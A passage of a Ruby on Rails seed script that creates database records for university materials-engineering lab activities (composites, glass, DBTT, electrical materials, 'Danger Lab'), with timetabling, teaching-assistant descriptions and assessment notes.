ActivityTimetable.where(activity_id: a438.id).first_or_create!(duration: 240, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a438.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a438.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a438.id).first_or_create!(assess_weight: nil, notes: \"No assessments\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a438.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a438.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a439 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2310\").first.id, code: \"211\").first_or_create!(name: \"Composite making\",\n name_abrv: \"COMPMAKING\", archived: false, in_drive: false, user_id: 2)\n at439 = ActivityTimetable.where(activity_id: a439.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a439.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a439.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a439.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a439.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a439.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a440 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR219\").first.id, code: \"212\").first_or_create!(name: \"Composite making and testing\",\n name_abrv: \"COMPOSITES\", archived: false, in_drive: false, user_id: 5)\n at440 = ActivityTimetable.where(activity_id: a440.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a440.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a440.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a440.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a440.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a440.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a441 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR331\").first.id, code: \"212\").first_or_create!(name: \"Composite making and testing\",\n name_abrv: \"COMPOSITES\", archived: true, in_drive: false, user_id: 5)\n at441 = ActivityTimetable.where(activity_id: a441.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a441.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a441.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a441.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a441.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a441.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a442 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2310\").first.id, code: \"213\").first_or_create!(name: \"Composite testing\",\n name_abrv: \"COMPTESTING\", archived: false, in_drive: false, user_id: 4)\n at442 = ActivityTimetable.where(activity_id: a442.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a442.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a442.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a442.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a442.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a442.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a443 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2600\").first.id, code: \"214\").first_or_create!(name: \"Concrete Making and Testing\",\n name_abrv: \"WOODCOMP\", archived: false, in_drive: false, user_id: 1)\n at443 = ActivityTimetable.where(activity_id: a443.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a443.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a443.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a443.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a443.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a443.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a444 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode9\").first_or_create!(name: \"Danger Lab\",\n name_abrv: \"DANGER\", archived: false, in_drive: false, user_id: 1)\n at444 = ActivityTimetable.where(activity_id: a444.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a444.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a444.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Danger Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a444.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_p2p.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a444.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n\n\n a445 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE105\").first.id, code: \"216\").first_or_create!(name: \"Danger Lab II\",\n name_abrv: \"DANGER2\", archived: false, in_drive: false, user_id: 3)\n at445 = ActivityTimetable.where(activity_id: a445.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"This is usually run in during the autumn exam period as the GEE students don't have exams, however must avoid exam week 2 due to FCE1001\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a445.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a445.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"GTA in MEE, the Diamond: Danger Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a445.id).first_or_create!(assess_weight: nil, notes: \"Risk Assessment to complete before the session and pre lab. Same 2019/20\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a445.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a445.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a446 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"216\").first_or_create!(name: \"Danger Lab II\",\n name_abrv: \"DANGER2\", archived: false, in_drive: false, user_id: 3)\n at446 = ActivityTimetable.where(activity_id: a446.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a446.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a446.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Danger Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a446.id).first_or_create!(assess_weight: nil, notes: \"Risk Assessment to complete before the session and pre lab. Same 2019/20\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a446.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a446.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a447 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE105\").first.id, code: \"217\").first_or_create!(name: \"DBTT\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at447 = ActivityTimetable.where(activity_id: a447.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 4, max_week_num: 10, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a447.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a447.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a447.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a447.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a447.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a448 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"217\").first_or_create!(name: \"Ductile to brittle temeperature transition\",\n name_abrv: \"DBTT\", archived: false, in_drive: false, user_id: 4)\n at448 = ActivityTimetable.where(activity_id: a448.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a448.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a448.id).first_or_create!(criteria: \"\",\n job_desc:\"To measure a wide range of mechanical properties.To understand how to calculate DBTT. How processing routes and crystal structure effect important mechanical properties. Techniques used: tensile testing, impact testing and hardness.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a448.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a448.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a448.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a449 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT6670\").first.id, code: \"217\").first_or_create!(name: \"DBTT\",\n name_abrv: \"DBTT\", archived: false, in_drive: false, user_id: 1)\n at449 = ActivityTimetable.where(activity_id: a449.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a449.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a449.id).first_or_create!(criteria: \"\",\n job_desc:\"To measure a wide range of mechanical properties.To understand how to calculate DBTT. How processing routes and crystal structure effect important mechanical properties. Techniques used: tensile testing, impact testing and hardness.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a449.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a449.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a449.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a450 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MEC207\").first.id, code: \"217\").first_or_create!(name: \"Ductile to brittle temeperature transition\",\n name_abrv: \"DBTT\", archived: false, in_drive: false, user_id: 2)\n at450 = ActivityTimetable.where(activity_id: a450.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a450.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a450.id).first_or_create!(criteria: \"\",\n job_desc:\"To measure a wide range of mechanical properties.To understand how to calculate DBTT. How processing routes and crystal structure effect important mechanical properties. Techniques used: tensile testing, impact testing and hardness.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a450.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a450.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a450.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a451 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE206\").first.id, code: \"218\").first_or_create!(name: \"Electrical materials\",\n name_abrv: \"ELECMAT\", archived: false, in_drive: false, user_id: 4)\n at451 = ActivityTimetable.where(activity_id: a451.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 24, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a451.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a451.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"This practical seeks to give you an understanding of thermistors. These are devices which are thermally sensitive, exhibiting a change in electrical resistance with a change in body temperature. In this practical you will study a commercial NTC thermistor, which is semi-conducting at room temperature.\n Understand the link between resistance, resistivity and conductivity\n Learn the significance of an Arrhenius plot\n Calculate activation energies\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a451.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a451.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a451.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a452 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"228\").first_or_create!(name: \"Mechanical properties of materials I\",\n name_abrv: \"MECPROPMAT1\", archived: false, in_drive: false, user_id: 5)\n at452 = ActivityTimetable.where(activity_id: a452.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a452.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a452.id).first_or_create!(criteria: \"Hands-on experience on Mechanical Testing Techniques (Tensile Testing, Charpy and Hardness).\",\n job_desc:\"To determine mechanical properties of copper and aluminium, measuring key parameters, performing calculations and generating important plots.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a452.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a452.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a452.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a453 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"218\").first_or_create!(name: \"Electrical materials\",\n name_abrv: \"ELECMAT\", archived: false, in_drive: false, user_id: 3)\n at453 = ActivityTimetable.where(activity_id: a453.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 24, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a453.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a453.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"This practical seeks to give you an understanding of thermistors. These are devices which are thermally sensitive, exhibiting a change in electrical resistance with a change in body temperature. In this practical you will study a commercial NTC thermistor, which is semi-conducting at room temperature.\n Understand the link between resistance, resistivity and conductivity\n Learn the significance of an Arrhenius plot\n Calculate activation energies\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a453.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a453.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a453.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a454 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"219\").first_or_create!(name: \"Gas Laws\",\n name_abrv: \"GASLAWS\", archived: false, in_drive: false, user_id: 5)\n at454 = ActivityTimetable.where(activity_id: a454.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a454.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a454.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"To apply fundamental gas properties such as Gay-Lussac’s law (or Charles’s law).\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a454.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a454.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a454.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a455 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2310\").first.id, code: \"220\").first_or_create!(name: \"Glass making\",\n name_abrv: \"GLASSMAKING\", archived: false, in_drive: false, user_id: 1)\n at455 = ActivityTimetable.where(activity_id: a455.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a455.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a455.id).first_or_create!(criteria: \"Hands-on experience of glass making and glass characterisation\",\n job_desc:\"Practical glassmaking, assess qualitatively and quantitatively how different colorants affect the absorption spectrum of a glass.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a455.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a455.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a455.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a456 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2310\").first.id, code: \"221\").first_or_create!(name: \"Glass testing\",\n name_abrv: \"GLASSTESTING\", archived: false, in_drive: false, user_id: 2)\n at456 = ActivityTimetable.where(activity_id: a456.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 12, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a456.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a456.id).first_or_create!(criteria: \"Hands-on experience of glass making and glass characterisation\",\n job_desc:\"Practical glassmaking, assess qualitatively and quantitatively how different colorants affect the absorption spectrum of a glass.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a456.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 